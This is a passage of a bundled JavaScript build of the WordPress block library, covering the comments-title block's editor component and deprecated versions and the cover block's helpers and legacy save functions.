      showPostTitle,
      showCommentsCount,
      level = 2,
      levelOptions
    } = attributes2;
    const { postId, postType } = context;
    const TagName2 = "h" + level;
    const [commentsCount, setCommentsCount] = (0, import_element18.useState)();
    const [rawTitle] = (0, import_core_data14.useEntityProp)("postType", postType, "title", postId);
    const isSiteEditor = typeof postId === "undefined";
    const blockProps = (0, import_block_editor60.useBlockProps)();
    const {
      threadCommentsDepth,
      threadComments,
      commentsPerPage,
      pageComments
    } = (0, import_data27.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor60.store);
      return getSettings2().__experimentalDiscussionSettings ?? {};
    }, []);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    (0, import_element18.useEffect)(() => {
      if (isSiteEditor) {
        const nestedCommentsNumber = threadComments ? Math.min(threadCommentsDepth, 3) - 1 : 0;
        const topLevelCommentsNumber = pageComments ? commentsPerPage : 3;
        const commentsNumber = parseInt(nestedCommentsNumber) + parseInt(topLevelCommentsNumber);
        setCommentsCount(Math.min(commentsNumber, 3));
        return;
      }
      const currentPostId = postId;
      (0, import_api_fetch2.default)({
        path: (0, import_url4.addQueryArgs)("/wp/v2/comments", {
          post: postId,
          _fields: "id"
        }),
        method: "HEAD",
        parse: false
      }).then((res) => {
        if (currentPostId === postId) {
          setCommentsCount(
            parseInt(res.headers.get("X-WP-Total"))
          );
        }
      }).catch(() => {
        setCommentsCount(0);
      });
    }, [postId]);
    const blockControls = /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(import_block_editor60.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
      import_block_editor60.HeadingLevelDropdown,
      {
        value: level,
        options: levelOptions,
        onChange: (newLevel) => setAttributes({ level: newLevel })
      }
    ) });
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(import_block_editor60.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)(
      import_components29.__experimentalToolsPanel,
      {
        label: (0, import_i18n45.__)("Settings"),
        resetAll: () => {
          setAttributes({
            showPostTitle: true,
            showCommentsCount: true
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
            import_components29.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n45.__)("Show post title"),
              isShownByDefault: true,
              hasValue: () => !showPostTitle,
              onDeselect: () => setAttributes({ showPostTitle: true }),
              children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
                import_components29.ToggleControl,
                {
                  label: (0, import_i18n45.__)("Show post title"),
                  checked: showPostTitle,
                  onChange: (value) => setAttributes({ showPostTitle: value })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
            import_components29.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n45.__)("Show comments count"),
              isShownByDefault: true,
              hasValue: () => !showCommentsCount,
              onDeselect: () => setAttributes({ showCommentsCount: true }),
              children: /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(
                import_components29.ToggleControl,
                {
                  label: (0, import_i18n45.__)("Show comments count"),
                  checked: showCommentsCount,
                  onChange: (value) => setAttributes({ showCommentsCount: value })
                }
              )
            }
          )
        ]
      }
    ) });
    const postTitle = isSiteEditor ? (0, import_i18n45.__)("Post Title") : rawTitle;
    let placeholder2;
    if (showCommentsCount && commentsCount !== void 0) {
      if (showPostTitle) {
        if (commentsCount === 1) {
          placeholder2 = (0, import_i18n45.sprintf)(
            /* translators: %s: Post title. */
            (0, import_i18n45.__)('One response to "%s"'),
            postTitle
          );
        } else {
          placeholder2 = (0, import_i18n45.sprintf)(
            /* translators: 1: Number of comments, 2: Post title. */
            (0, import_i18n45._n)(
              '%1$s response to "%2$s"',
              '%1$s responses to "%2$s"',
              commentsCount
            ),
            commentsCount,
            postTitle
          );
        }
      } else if (commentsCount === 1) {
        placeholder2 = (0, import_i18n45.__)("One response");
      } else {
        placeholder2 = (0, import_i18n45.sprintf)(
          /* translators: %s: Number of comments. */
          (0, import_i18n45._n)("%s response", "%s responses", commentsCount),
          commentsCount
        );
      }
    } else if (showPostTitle) {
      if (commentsCount === 1) {
        placeholder2 = (0, import_i18n45.sprintf)((0, import_i18n45.__)('Response to "%s"'), postTitle);
      } else {
        placeholder2 = (0, import_i18n45.sprintf)((0, import_i18n45.__)('Responses to "%s"'), postTitle);
      }
    } else if (commentsCount === 1) {
      placeholder2 = (0, import_i18n45.__)("Response");
    } else {
      placeholder2 = (0, import_i18n45.__)("Responses");
    }
    return /* @__PURE__ */ (0, import_jsx_runtime217.jsxs)(import_jsx_runtime217.Fragment, { children: [
      blockControls,
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime217.jsx)(TagName2, { ...blockProps, children: placeholder2 })
    ] });
  }

  // packages/block-library/build-module/comments-title/deprecated.mjs
  var v23 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      showPostTitle: {
        type: "boolean",
        default: true
      },
      showCommentsCount: {
        type: "boolean",
        default: true
      },
      level: {
        type: "number",
        default: 2
      },
      levelOptions: {
        type: "array"
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    migrate: (oldAttributes) => {
      const { singleCommentLabel, multipleCommentsLabel, ...newAttributes } = oldAttributes;
      return migrate_text_align_default(newAttributes);
    },
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () => null
  };
  var v110 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      showPostTitle: {
        type: "boolean",
        default: true
      },
      showCommentsCount: {
        type: "boolean",
        default: true
      },
      level: {
        type: "number",
        default: 2
      },
      levelOptions: {
        type: "array"
      },
      singleCommentLabel: {
        type: "string"
      },
      multipleCommentsLabel: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          __experimentalFontFamily: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    migrate: (oldAttributes) => {
      const { singleCommentLabel, multipleCommentsLabel, ...newAttributes } = oldAttributes;
      return migrate_text_align_default(newAttributes);
    },
    isEligible: ({ multipleCommentsLabel, singleCommentLabel }) => multipleCommentsLabel || singleCommentLabel,
    save: () => null
  };
  var deprecated_default13 = [v23, v110];

  // packages/block-library/build-module/comments-title/index.mjs
  var { name: name29 } = block_default30;
  var settings29 = {
    icon: title_default,
    edit: Edit12,
    deprecated: deprecated_default13,
    example: {}
  };
  var init29 = () => initBlock({ name: name29, metadata: block_default30, settings: settings29 });

  // packages/block-library/build-module/cover/index.mjs
  var cover_exports = {};
  __export(cover_exports, {
    init: () => init30,
    metadata: () => block_default31,
    name: () => name30,
    settings: () => settings30
  });
  var import_i18n54 = __toESM(require_i18n(), 1);
  var import_blocks23 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/cover/deprecated.mjs
  var import_blocks20 = __toESM(require_blocks(), 1);
  var import_block_editor61 = __toESM(require_block_editor(), 1);
  var import_i18n46 = __toESM(require_i18n(), 1);
  var import_compose14 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/cover/shared.mjs
  var import_blob4 = __toESM(require_blob(), 1);
  var POSITION_CLASSNAMES = {
    "top left": "is-position-top-left",
    "top center": "is-position-top-center",
    "top right": "is-position-top-right",
    "center left": "is-position-center-left",
    "center center": "is-position-center-center",
    center: "is-position-center-center",
    "center right": "is-position-center-right",
    "bottom left": "is-position-bottom-left",
    "bottom center": "is-position-bottom-center",
    "bottom right": "is-position-bottom-right"
  };
  var IMAGE_BACKGROUND_TYPE = "image";
  var VIDEO_BACKGROUND_TYPE = "video";
  var EMBED_VIDEO_BACKGROUND_TYPE = "embed-video";
  var COVER_MIN_HEIGHT = 50;
  var DEFAULT_FOCAL_POINT = { x: 0.5, y: 0.5 };
  var ALLOWED_MEDIA_TYPES2 = ["image", "video"];
  function mediaPosition({ x: x2, y: y2 } = DEFAULT_FOCAL_POINT) {
    return `${Math.round(x2 * 100)}% ${Math.round(y2 * 100)}%`;
  }
  function dimRatioToClass(ratio) {
    return ratio === 50 || ratio === void 0 ? null : "has-background-dim-" + 10 * Math.round(ratio / 10);
  }
  function attributesFromMedia(media) {
    if (!media || !media.url && !media.src) {
      return {
        url: void 0,
        id: void 0
      };
    }
    if ((0, import_blob4.isBlobURL)(media.url)) {
      media.type = (0, import_blob4.getBlobTypeByURL)(media.url);
    }
    let mediaType;
    if (media.media_type) {
      if (media.media_type === IMAGE_BACKGROUND_TYPE) {
        mediaType = IMAGE_BACKGROUND_TYPE;
      } else {
        mediaType = VIDEO_BACKGROUND_TYPE;
      }
    } else if (media.type && (media.type === IMAGE_BACKGROUND_TYPE || media.type === VIDEO_BACKGROUND_TYPE)) {
      mediaType = media.type;
    } else {
      return;
    }
    return {
      url: media.url || media.src,
      id: media.id,
      alt: media?.alt,
      backgroundType: mediaType,
      ...mediaType === VIDEO_BACKGROUND_TYPE ? { hasParallax: void 0 } : {}
    };
  }
  function isContentPositionCenter(contentPosition) {
    return !contentPosition || contentPosition === "center center" || contentPosition === "center";
  }
  function getPositionClassName(contentPosition) {
    if (isContentPositionCenter(contentPosition)) {
      return "";
    }
    return POSITION_CLASSNAMES[contentPosition];
  }

  // packages/block-library/build-module/cover/deprecated.mjs
  var import_jsx_runtime218 = __toESM(require_jsx_runtime(), 1);
  function backgroundImageStyles(url) {
    return url ? { backgroundImage: `url(${url})` } : {};
  }
  function dimRatioToClassV1(ratio) {
    return ratio === 0 || ratio === 50 || !ratio ? null : "has-background-dim-" + 10 * Math.round(ratio / 10);
  }
  function migrateDimRatio(attributes2) {
    return {
      ...attributes2,
      dimRatio: !attributes2.url ? 100 : attributes2.dimRatio
    };
  }
  function migrateTag(attributes2) {
    if (!attributes2.tagName) {
      attributes2 = {
        ...attributes2,
        tagName: "div"
      };
    }
    return {
      ...attributes2
    };
  }
  var blockAttributes2 = {
    url: {
      type: "string"
    },
    id: {
      type: "number"
    },
    hasParallax: {
      type: "boolean",
      default: false
    },
    dimRatio: {
      type: "number",
      default: 50
    },
    overlayColor: {
      type: "string"
    },
    customOverlayColor: {
      type: "string"
    },
    backgroundType: {
      type: "string",
      default: "image"
    },
    focalPoint: {
      type: "object"
    }
  };
  var v8ToV11BlockAttributes = {
    url: {
      type: "string"
    },
    id: {
      type: "number"
    },
    alt: {
      type: "string",
      source: "attribute",
      selector: "img",
      attribute: "alt",
      default: ""
    },
    hasParallax: {
      type: "boolean",
      default: false
    },
    isRepeated: {
      type: "boolean",
      default: false
    },
    dimRatio: {
      type: "number",
      default: 100
    },
    overlayColor: {
      type: "string"
    },
    customOverlayColor: {
      type: "string"
    },
    backgroundType: {
      type: "string",
      default: "image"
    },
    focalPoint: {
      type: "object"
    },
    minHeight: {
      type: "number"
    },
    minHeightUnit: {
      type: "string"
    },
    gradient: {
      type: "string"
    },
    customGradient: {
      type: "string"
    },
    contentPosition: {
      type: "string"
    },
    isDark: {
      type: "boolean",
      default: true
    },
    allowedBlocks: {
      type: "array"
    },
    templateLock: {
      type: ["string", "boolean"],
      enum: ["all", "insert", false]
    }
  };
  var v12toV13BlockAttributes = {
    ...v8ToV11BlockAttributes,
    useFeaturedImage: {
      type: "boolean",
      default: false
    },
    tagName: {
      type: "string",
      default: "div"
    }
  };
  var v14BlockAttributes = {
    ...v12toV13BlockAttributes,
    isUserOverlayColor: {
      type: "boolean"
    },
    sizeSlug: {
      type: "string"
    },
    alt: {
      type: "string",
      default: ""
    }
  };
  var v7toV11BlockSupports = {
    anchor: true,
    align: true,
    html: false,
    spacing: {
      padding: true,
      __experimentalDefaultControls: {
        padding: true
      }
    },
    color: {
      __experimentalDuotone: "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
      text: false,
      background: false
    }
  };
  var v12BlockSupports = {
    ...v7toV11BlockSupports,
    spacing: {
      padding: true,
      margin: ["top", "bottom"],
      blockGap: true,
      __experimentalDefaultControls: {
        padding: true,
        blockGap: true
      }
    },
    __experimentalBorder: {
      color: true,
      radius: true,
      style: true,
      width: true,
      __experimentalDefaultControls: {
        color: true,
        radius: true,
        style: true,
        width: true
      }
    },
    color: {
      __experimentalDuotone: "> .wp-block-cover__image-background, > .wp-block-cover__video-background",
      heading: true,
      text: true,
      background: false,
      __experimentalSkipSerialization: ["gradients"],
      enableContrastChecker: false
    },
    typography: {
      fontSize: true,
      lineHeight: true,
      __experimentalFontFamily: true,
      __experimentalFontWeight: true,
      __experimentalFontStyle: true,
      __experimentalTextTransform: true,
      __experimentalTextDecoration: true,
      __experimentalLetterSpacing: true,
      __experimentalDefaultControls: {
        fontSize: true
      }
    },
    layout: {
      allowJustification: false
    }
  };
  var v14BlockSupports = {
    ...v12BlockSupports,
    shadow: true,
    dimensions: {
      aspectRatio: true
    },
    interactivity: {
      clientNavigation: true
    }
  };
  var v142 = {
    attributes: v14BlockAttributes,
    supports: v14BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit,
        tagName: Tag,
        sizeSlug
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        "wp-block-cover__image-background",
        id ? `wp-image-${id}` : null,
        {
          [`size-${sizeSlug}`]: sizeSlug,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Tag, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__background",
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                "has-background-dim": dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                "has-background-gradient": gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            role: alt ? "img" : void 0,
            "aria-label": alt ? alt : void 0,
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    }
  };
  var v132 = {
    attributes: v12toV13BlockAttributes,
    supports: v12BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit,
        tagName: Tag
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        "wp-block-cover__image-background",
        id ? `wp-image-${id}` : null,
        {
          "has-parallax": hasParallax,
          "is-repeated": isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Tag, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__background",
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                "has-background-dim": dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                "has-background-gradient": gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            role: "img",
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    }
  };
  var v122 = {
    attributes: v12toV13BlockAttributes,
    supports: v12BlockSupports,
    isEligible(attributes2) {
      return (attributes2.customOverlayColor !== void 0 || attributes2.overlayColor !== void 0) && attributes2.isUserOverlayColor === void 0;
    },
    migrate(attributes2) {
      return {
        ...attributes2,
        isUserOverlayColor: true
      };
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit,
        tagName: Tag
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        "wp-block-cover__image-background",
        id ? `wp-image-${id}` : null,
        {
          "has-parallax": hasParallax,
          "is-repeated": isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)(Tag, { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__background",
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                "has-background-dim": dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                "has-background-gradient": gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            role: "img",
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    }
  };
  var v112 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
      );
      const backgroundImage = url ? `url(${url})` : void 0;
      const backgroundPosition = mediaPosition(focalPoint);
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const imgClasses = clsx_default(
        "wp-block-cover__image-background",
        id ? `wp-image-${id}` : null,
        {
          "has-parallax": hasParallax,
          "is-repeated": isRepeated
        }
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__background",
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                "has-background-dim": dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                "has-background-gradient": gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage && isImageBackground && url && (isImgElement ? /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: imgClasses,
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            role: "img",
            className: imgClasses,
            style: { backgroundPosition, backgroundImage }
          }
        )),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v102 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        useFeaturedImage,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightProp && minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground && !isImgElement && !useFeaturedImage ? backgroundImageStyles(url) : {},
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__background",
              overlayColorClass,
